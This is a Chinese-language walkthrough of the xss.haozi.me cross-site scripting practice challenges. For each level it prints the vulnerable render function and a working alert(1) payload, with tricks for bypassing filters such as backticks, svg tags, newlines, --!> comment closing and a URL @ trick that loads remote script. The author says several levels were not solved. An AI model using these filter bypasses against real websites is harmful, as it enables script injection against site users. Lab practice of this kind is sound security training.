学习小结
- 一般做题思路就是闭合题目给出的函数来完成我们的弹窗
- 反引号可以替换圆括号
- <svg>标签中可以直接执行实体字符。
<svg><script>alert(1)</script>
- 换行可以绕过正则
- 可以利用onclick,onmouseover等事件进行弹窗如:onclick=alert(1),onmouseover=alert(1)
- 可以用换行来绕过“/ /”
- <!-- -->和<!-- --!>作用一样可以用来处理一些闭合问题
- <!--和-->都可以在html的script标签里单独使用进行单行注释
- ſ 符号转换为大写后正好为大写字母 S
xss练习平台:https://xss.haozi.me
过关方法:可以执行alert(1)
包含alert(1)的js文件地址:https://xss.haozi.me/j.js
0x00
function render (input) {
return '<div>' + input + '</div>'
}
没有过滤或其他的直接输入payload:
<script>alert(1)</script>
0x01
function render (input) {
return '<textarea>' + input + '</textarea>'
}
<textarea>
是禁止弹窗利用</textarea>
闭合它就可以了payload:
</textarea><script>alert(1)</script>
0x02
function render (input) {
return '<input type="name" value="' + input + '">'
}
输入的位置在尖括号里面所以先闭合尖括号payload:
"><script>alert(1)</script>
0x03
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
过滤了圆括号,可以用反引号来代替payload:
<script>alert`1`</script>
0x04
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
过滤了圆括号和反引号可以利用<svg>
标签来操作payload:
<svg><script>alert(1)</script>
0x05
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
这里他把- ->替换成了😂,但是闭合<!- -还可以用- -!>效果一样 payload:
--!><script>alert(1)</script>
0x06
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
过滤了auto,on和=,并且会被替换成 '_'这里利用换行来绕过正则,源码是type=“text”,文本格式无法执行,所以利用type=“image”进行绕过payload:
type="image" src onerror
=alert(1)
看到别的师傅的wp有用onmousemove 事件属性绕过,但是我尝试了不行,可能是姿势不对,大家有兴趣可以自己尝试一下payload:
onmousemove
=alert(1)
0x07
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
正则匹配了以< >开头结尾的标签并把他们替换为空,利用浏览器的容错性可以不写> payload:
<body onload="alert(1)" //这里有一个回车或空格
0x08
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
将</style>
标签替换成\u574F\u4EBA ,我们没办法实现直接闭合此标签,需要回车或者加空格来绕过payload:
</style
><script>alert(1)</script>
0x09
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
这里必须是以https://www.segmentfault.com开头,然后用</script>
闭合标签,再写入我们的事件,payload:
https://www.segmentfault.com"></script><svg/onload=alert(1)>
0x0A
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
过滤了<>"等这里就用到前面的js包含了,利用URL的@特性,例如我们访问http://www.baidu.com@1.1.2.3这里就会访问http://1.1.2.3,过滤后的html实体编码在html标签属性值中无影响,直接解析payload:
https://www.segmentfault.com@xss.haozi.me/j.js
0x0B 和0X0C还有0x0E没有复现出来就不写了(太菜了┭┮﹏┭┮。。)
0x0D
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
过滤了</,没办法闭合<script>
标签,不过可以利用- ->注释掉后面的,回车绕过’ // 'payload:
(这里是一个回车)
alert(1)
-->
0x0F
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
看着过滤了这么多其实都没什么用,因为是在<img 标签内html实体编码是可以被解析的所以直接闭合前后的就可payload:
');alert(1)// 或者 ');alert(1)('
0x10
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
因为没有任何过滤直接写入即可payload:
alert(1)
0x11
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
反斜杠"
被转义成\"
正好可以闭合console.log("\")
payload:
");alert(1)//
0x12
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
直接闭合</script>
然后写入payload:
</script><script>alert(1)</script>